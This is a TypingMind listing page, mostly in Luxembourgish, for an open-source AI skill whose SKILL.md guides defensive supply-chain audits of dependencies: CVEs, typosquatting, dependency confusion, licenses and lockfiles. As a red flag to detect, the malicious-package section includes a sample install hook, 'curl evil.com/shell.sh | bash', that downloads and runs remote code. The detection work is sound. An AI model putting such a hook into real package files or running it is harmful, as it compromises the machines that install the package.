Logo: Perseus Supply Chain

Perseus Supply Chain

Communautéit
kaivyy
perseus-supply-chain

Supply chain security analysis (CVEs, dependencies, typosquatting, licenses)

Add to TypingMind

Iwwersiicht

Editeurkaivyy
Repositoryperseus
Skill-Nummperseus-supply-chain
Stären
68
Forks
14
Matgeliwwert Dateien
Nëmmen Instruktiounen
LizenzMIT
Linken
  • Instruktiounen am Markdown-Format

    Eng SKILL.md-Datei, déi de Modell bei Bedarf luet, soudatt nëmmen Token ufalen, wann eng Ufro tatsächlech dozou passt.

  • Funktionéiert mat all LLM

    KI-Skills si reng Markdown, keen ubidderspezifesche Code. Dofir funktionéiert dëse Skill mat GPT, Claude, Gemini, Grok oder engem lokale Modell.

  • Alles an den Instruktiounen

    Alles, wat de Modell brauch, steet an den Instruktiounen — keng zousätzlech Dateien ze synchroniséieren.

  • Open Source

    kaivyy huet de Skill op GitHub verëffentlecht. Liest de Quelltext, ier Dir de Skill installéiert.

Installatioun

Installéiert de KI-Skill Perseus Supply Chain an TypingMind, fir e mat all LLM ze benotzen, oder setzt en an en anere KI-Agent an, deen SKILL.md liest.

1

An TypingMind installéieren

TypingMind installéiert e Skill direkt aus sengem GitHub-Dossier — dobäi gëtt SKILL.md gelies, d'Ressourcedateie gi gebëndelt an d'Resultat gëtt lokal gespäichert.

  1. Maacht d'App op a gitt op Plugins → Skills.
  2. Wielt „Vu GitHub installéieren“.
  3. Pecht d'URL vum Skill-Dossier, déi hei drënner steet, an a bestätegt d'Installatioun.
    https://github.com/kaivyy/perseus/tree/main/skills/perseus/specialists/supply-chain
  4. Aktivéiert de Skill an all Chat, an deem Dir e benotze wëllt.
Plugins → Skills → Skill derbäisetzen → Iwwer eng GitHub-URL. Pecht dann d'URL vum Dossier an a klickt op Weider.
2

An engem anere KI-Agent installéieren

All KI-Agent, deen d'Format Agent Skills liest, kann dëse Skill benotzen — kopéiert den Dossier an d'Skill-Verzeechnes vun deem KI-Agent.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/kaivyy/perseus.git /tmp/perseus
mkdir -p .claude/skills
cp -r /tmp/perseus/skills/perseus/specialists/supply-chain .claude/skills/perseus-supply-chain
Start Claude Code nom Kopéieren nei, fir datt den neie Skill erkannt gëtt.

An TypingMind benotzen

Aktivéiert Perseus Supply Chain an engem Chat vun TypingMind, an de Modell iwwerhëlt de Rescht. Den Numm an d'Beschreiwung stinn am System-Prompt. Soubal eng Ufro dozou passt, luet de Modell déi komplett Instruktioune selwer — Dir musst de Skill ni manuell opruffen, an et fale keng Token un, bis en tatsächlech benotzt gëtt.

De Modell luet Perseus Supply Chain automatesch, soubal eng Ufro dozou passt.

Funktionéiert mat all KI-Modell

KI-Skills si reng Markdown-Instruktiounen amplaz vun ubidderspezifeschem Code. Dofir ass Perseus Supply Chain net un de Modell gebonnen, fir deen de Skill geschriwwe gouf. Installéiert en eemol an TypingMind a benotzt e mat GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama oder engem lokale Modell, deen Dir selwer bedreift — alles mat Ären eegenen API-Schlësselen.

  • Gëtt nëmme gelueden, wann et néideg ass

    De System-Prompt enthält nëmmen den Numm an d'Beschreiwung. D'Instruktioune gi bei der éischter passender Ufro gelueden, soudatt en onbenotzte Skill näischt kascht.

  • De Modell am lafende Chat wiesselen

    Well de Skill aus Instruktiounen amplaz vu Code besteet, funktionéiert en och no engem Modellwiessel — den nächste Modell liest déi selwecht SKILL.md-Datei.

Skill-Instruktiounen

Dëst ass den Inhalt vu SKILL.md, deen de Modell luet. Liest e virun der Installatioun — e Skill besteet aus Instruktiounen, déi Äre Modell befollegt.

Perseus Supply Chain Specialist

Context & Authorization

IMPORTANT: This skill performs supply chain security analysis on the user's own codebase. This is defensive security testing to find vulnerable dependencies before they're exploited.

Authorization: The user owns this codebase and has explicitly requested this specialized analysis.


Multi-Language Support

LanguagePackage ManagersManifest Files
JavaScript/TypeScriptnpm, yarn, pnpm, bunpackage.json, package-lock.json, yarn.lock, pnpm-lock.yaml
Gogo modulesgo.mod, go.sum
PHPComposercomposer.json, composer.lock
Pythonpip, poetry, pipenvrequirements.txt, Pipfile, pyproject.toml, poetry.lock
RustCargoCargo.toml, Cargo.lock
JavaMaven, Gradlepom.xml, build.gradle, gradle.lockfile
RubyBundlerGemfile, Gemfile.lock
C#NuGet*.csproj, packages.config, packages.lock.json

Overview

This specialist skill performs comprehensive supply chain analysis including known vulnerabilities (CVEs), dependency confusion, typosquatting, and license compliance.

When to Use: After /scan identifies package manifests, or as regular security hygiene check.

Goal: Identify vulnerable, malicious, or risky dependencies before they compromise the application.

Engagement Mode Compatibility

ModeSpecialist Behavior
PRODUCTION_SAFEManifest and advisory analysis only (passive)
STAGING_ACTIVEControlled resolver/registry validation in staging
LAB_FULLDeep dependency behavior validation in isolated lab
LAB_RED_TEAMConfusion/typosquat simulation against private test registries only

Safety Gates (Required)

  1. Read deliverables/engagement_profile.md before active package resolution checks.
  2. Default to PRODUCTION_SAFE when mode is missing.
  3. Apply kill-switch thresholds for any active install/build experiments.
  4. Never publish or interact with unauthorized public packages as part of testing.

Supply Chain Risks Covered

RiskDescriptionImpact
Known CVEsPublished vulnerabilitiesExploitation
TyposquattingMalicious similar-named packagesMalware
Dependency ConfusionPrivate/public package name collisionCode execution
Outdated DependenciesOld versions with known issuesSecurity debt
License IssuesGPL in proprietary, license conflictsLegal risk
Malicious PackagesIntentionally harmful packagesBackdoor
Abandoned PackagesUnmaintained dependenciesFuture risk

Execution Instructions

Step 0: Mode & Scope Alignment

  • Load mode/scope/limits from deliverables/engagement_profile.md.
  • Respect deliverables/verification_scope.md if present.
  • Keep production operations read-only and advisory-driven.

Phase 1: Manifest Discovery (1 Agent)

  1. Manifest Scanner:

    • "Find all package manifest files in the repository."

    Files to Find:

    # JavaScript/TypeScript
    package.json
    package-lock.json
    yarn.lock
    pnpm-lock.yaml
    bun.lockb
    
    # Go
    go.mod
    go.sum
    
    # PHP
    composer.json
    composer.lock
    
    # Python
    requirements.txt
    requirements-*.txt
    Pipfile
    Pipfile.lock
    pyproject.toml
    poetry.lock
    
    # Rust
    Cargo.toml
    Cargo.lock
    
    # Java
    pom.xml
    build.gradle
    build.gradle.kts
    gradle.lockfile
    
    # Ruby
    Gemfile
    Gemfile.lock
    
    # C#
    *.csproj
    packages.config
    Directory.Packages.props

Phase 2: Vulnerability Analysis (4 Parallel Agents)

  1. JavaScript CVE Analyst:

    • "Analyze JavaScript/TypeScript dependencies for known CVEs."

    Check Using:

    • npm audit data
    • Snyk vulnerability database
    • GitHub Advisory Database
    • NVD (National Vulnerability Database)

    Output Format:

    markdown
    | Package | Version | CVE | Severity | Fixed In |
    |---------|---------|-----|----------|----------|
    | lodash | 4.17.15 | CVE-2021-23337 | High | 4.17.21 |
  2. Go CVE Analyst:

    • "Analyze Go dependencies for known CVEs."

    Check:

    • govulncheck database
    • Go vulnerability database (vuln.go.dev)
  3. Python CVE Analyst:

    • "Analyze Python dependencies for known CVEs."

    Check:

    • PyPI Advisory Database
    • Safety DB
    • pip-audit data
  4. Multi-Language CVE Analyst:

    • "Analyze PHP, Rust, Java, Ruby, C# dependencies."

    Check:

    • Packagist Security Advisories (PHP)
    • RustSec Advisory Database (Rust)
    • Maven Central advisories (Java)
    • Ruby Advisory Database (Ruby)
    • NuGet advisories (C#)

Phase 3: Typosquatting Detection (2 Parallel Agents)

  1. JavaScript Typosquatting Analyst:

    • "Check for typosquatted package names in JavaScript dependencies."

    Common Patterns:

    Real PackageTyposquat Examples
    lodashlodsh, lodahs, 1odash, lodash-utils
    expressexpres, expresss, expess
    reactraect, reakt, reactjs (unofficial)
    axiosaxois, axio, axiosjs

    Detection Rules:

    • Character substitution (l -> 1, o -> 0)
    • Character omission/addition
    • Character transposition
    • Hyphen/underscore variations
    • Scope confusion (@org/pkg vs @0rg/pkg)
  2. Multi-Language Typosquatting Analyst:

    • "Check typosquatting in Go, Python, PHP, Rust, Ruby."

    Python Examples:

    Real PackageTyposquat Examples
    requestsrequest, reqeusts
    djangodjang0, djangoo
    flaskflaask, flaskk

Phase 4: Dependency Confusion Analysis (2 Parallel Agents)

  1. Private Package Analyst:

    • "Identify private/internal packages that could be confused."

    Risk Pattern:

    json
    // package.json - RISKY
    {
      "dependencies": {
        "@company/internal-lib": "^1.0.0"  // If not in private registry...
      }
    }

    Attack:

    • Attacker publishes @company/internal-lib to public npm
    • Build system fetches malicious public package
    • Code execution during install

    Check:

    • Scoped packages pointing to public registry
    • Private packages without registry lock
    • Missing .npmrc/.yarnrc configuration
  2. Registry Configuration Analyst:

    • "Check registry configuration for private packages."

    Files to Check:

    .npmrc
    .yarnrc
    .yarnrc.yml
    .pip/pip.conf
    ~/.config/pip/pip.conf

Phase 5: Outdated Dependencies Analysis (2 Parallel Agents)

  1. Major Version Gap Analyst:

    • "Find dependencies multiple major versions behind."

    Risk Levels:

    GapRiskExample
    1 majorLowUsing React 17 when 18 is out
    2+ majorMediumUsing React 16 when 18 is out
    EOLHighUsing Node.js 14 (EOL)
  2. Abandoned Package Analyst:

    • "Find dependencies that appear abandoned."

    Indicators:

    • No commits in 2+ years
    • No releases in 2+ years
    • Open security issues unaddressed
    • Maintainer unresponsive
    • "Looking for maintainer" in README

Phase 6: License Analysis (2 Parallel Agents)

  1. License Compatibility Analyst:

    • "Check for license compatibility issues."

    Risk Matrix:

    Project LicenseDependency LicenseStatus
    MITMITOK
    MITApache-2.0OK
    MITGPL-3.0PROBLEM (copyleft)
    ProprietaryGPL-3.0PROBLEM (copyleft)
    ProprietaryAGPL-3.0CRITICAL
  2. License Discovery Analyst:

    • "Find packages with unclear or no license."

    Issues:

    • No LICENSE file
    • UNLICENSED or proprietary
    • Custom/unknown license
    • Multiple conflicting licenses

Phase 7: Malicious Package Detection (2 Parallel Agents)

  1. Install Script Analyst:

    • "Check for suspicious install scripts."

    Patterns to Flag:

    json
    // package.json - SUSPICIOUS
    {
      "scripts": {
        "preinstall": "curl evil.com/shell.sh | bash",
        "postinstall": "node ./scripts/setup.js"  // Check contents!
      }
    }

    Red Flags:

    • Network calls during install
    • Obfuscated code in install scripts
    • Environment variable exfiltration
    • Writing to system directories
  2. Dependency Chain Analyst:

    • "Analyze transitive dependencies for risks."

    Issues:

    • Deep dependency chains (attack surface)
    • Single maintainer packages in chain
    • Recently transferred packages

Phase 8: Lockfile Analysis (1 Agent)

  1. Lockfile Security Analyst:

    • "Check lockfile integrity and security."

    Issues:

    • Missing lockfile (non-reproducible builds)
    • Lockfile not committed
    • Lockfile/manifest mismatch
    • Integrity hashes missing (npm)
    • Registry URLs in lockfile (dependency confusion risk)

Output Requirements

Create deliverables/supply_chain_analysis.md:

markdown
# Supply Chain Security Analysis

## Summary
| Category | Packages Checked | Issues | Critical |
|----------|------------------|--------|----------|
| CVEs | X | Y | Z |
| Typosquatting | X | Y | Z |
| Dependency Confusion | X | Y | Z |
| Outdated | X | Y | Z |
| License | X | Y | Z |
| Malicious | X | Y | Z |

## Languages/Package Managers Detected
- JavaScript: npm (package.json)
- Python: pip (requirements.txt)
- Go: go modules (go.mod)

## Critical Vulnerabilities (CVEs)

### [CVE-2021-44228] Log4Shell in log4j
**Severity:** Critical (CVSS 10.0)
**Package:** org.apache.logging.log4j:log4j-core
**Installed Version:** 2.14.1
**Fixed Version:** 2.17.1
**Location:** pom.xml

**Description:** Remote code execution via JNDI lookup in log messages.

**Remediation:**
```xml
<dependency>
  <groupId>org.apache.logging.log4j</groupId>
  <artifactId>log4j-core</artifactId>
  <version>2.17.1</version>
</dependency>

[CVE-2022-0155] SSRF in follow-redirects

Severity: High (CVSS 8.0) Package: follow-redirects Installed Version: 1.14.5 Fixed Version: 1.14.7 Location: package-lock.json (transitive via axios)


Vulnerability Summary by Severity

SeverityCountPackages
Critical2log4j, lodash
High5axios, node-forge, ...
Medium12...
Low8...

Typosquatting Risks

InstalledSuspiciousConfidence
lodshLikely typosquat of lodashHigh
requests (in npm)Python package in npm?Medium

Dependency Confusion Risks

PackageRiskRecommendation
@company/coreNo registry lockAdd to .npmrc

Outdated Dependencies

PackageCurrentLatestGapRisk
react16.14.018.2.02 majorMedium
node14.x20.xEOLHigh

License Issues

PackageLicenseIssue
some-libGPL-3.0Copyleft in MIT project
unknown-pkgUNLICENSEDNo license

Recommendations

Immediate Actions

  1. Update log4j to 2.17.1+
  2. Update lodash to 4.17.21+
  3. Review typosquatted packages
  4. Configure private registry for @company/* packages

Security Hygiene

bash
# JavaScript
npm audit fix
npm outdated

# Go
go get -u ./...
govulncheck ./...

# Python
pip-audit
pip list --outdated

# Rust
cargo audit
cargo update

Lockfile Best Practices

  • Always commit lockfiles
  • Use exact versions in production
  • Enable npm's package-lock-only mode
  • Configure registry in .npmrc

**Next Step:** CVE findings can be verified by checking exploit availability and running automated scanners.

Heefeg gestallte Froen

Wat mécht de KI-Skill Perseus Supply Chain?

Supply chain security analysis (CVEs, dependencies, typosquatting, licenses)

Firwat Perseus Supply Chain op TypingMind benotzen?

Well Dir en eemol installéiert a mat all Modell benotze kënnt. Perseus Supply Chain besteet aus einfachem Markdown amplaz vun ubidderspezifeschem Code. Dee selwechte Skill funktionéiert also mat GPT-5, Claude, Gemini, Grok oder engem lokale Modell – an Dir kënnt de Modell matzen am Chat wiesselen, ouni datt de Skill ophält ze funktionéieren. TypingMind benotzt Är eegen API-Schlësselen, sou datt Dir d'Ubidder direkt bezuelt, amplaz en Abonnement pro Benotzerplaz ze bezuelen. Är Skills a Chats bleiwen an Ärem eegene Späicher.

Wéi installéieren ech Perseus Supply Chain an TypingMind?

Maacht an TypingMind Plugins → Skills → Vu GitHub installéieren op a setzt https://github.com/kaivyy/perseus/tree/main/skills/perseus/specialists/supply-chain an. TypingMind liest d'Datei SKILL.md an installéiert de Skill, deen Dir pro Chat aktivéiere kënnt.

Wéi eng KI-Modeller kënnen Perseus Supply Chain benotzen?

All Modell, deen Dir an TypingMind verbënnt. KI-Skills sinn einfach Markdown-Instruktiounen an net ubidderspezifesche Code. Dofir kënne GPT, Claude, Gemini, Grok a lokal Modeller dëse Skill lueden, wann eng Ufro dozou passt.

Wéi vill KI-Modeller kann ech mat Perseus Supply Chain benotzen?

Esou vill wéi Dir wëllt. Soulaang e Modell Skills ënnerstëtzt, kënnt Dir Perseus Supply Chain domat benotzen – zum Beispill mat GPT, Claude, Gemini, Grok, DeepSeek, Mistral oder Llama – alles op TypingMind mat Ären eegenen API-Schlësselen.

Ass de KI-Skill Perseus Supply Chain gratis?

Jo. kaivyy huet de Skill ënner der Lizenz MIT op GitHub publizéiert. Dir bezuelt nëmmen Ären eegene KI-Ubidder fir d'Token, déi Dir benotzt.

Wat si KI-Skills?

E KI-Skill ass e weiderverwendbare Pak vun Instruktiounen, deen engem KI-Modell bäibréngt, wéi en eng bestëmmt Aufgab erfëllt. E follegt dem oppenen Agent Skills-Format: eng Datei SKILL.md mat engem Numm an enger Beschreiwung, plus all Scripten, Virlagen oder Referenzdateien, déi de Modell eventuell brauch. De Modell liest d'Instruktiounen eréischt, wann Är Ufro zum Skill passt. En installéierte Skill kascht also näischt, bis e benotzt gëtt.

Wéi ënnerscheede sech KI-Skills vu Plugins oder MCP-Serveren?

E Plugin oder MCP-Server gëtt engem Modell nei Tools, déi en opruffe kann – Code, deen iergendwou leeft an e Resultat zeréckgëtt. E KI-Skill gëtt dem Modell dogéint Wëssen an eng Virgoensweis: wéi en eng Aufgab ugeet, wéi eng Schrëtt e maache soll a wéi eng gutt Ausgab ausgesäit. Skills bestinn aus einfachem Markdown, brauche kee Server, keen API-Schlëssel a kee Lafzäitëmfeld a funktionéiere mat all Modell.

Alleguer weisen

Elo Ären eegene KI-Aarbechtsberäich ariichten

Abonnéiert Iech op eisen Newsletter, fir iwwer nei Funktiounen an zukünfteg Gewënnspiller informéiert ze ginn 👇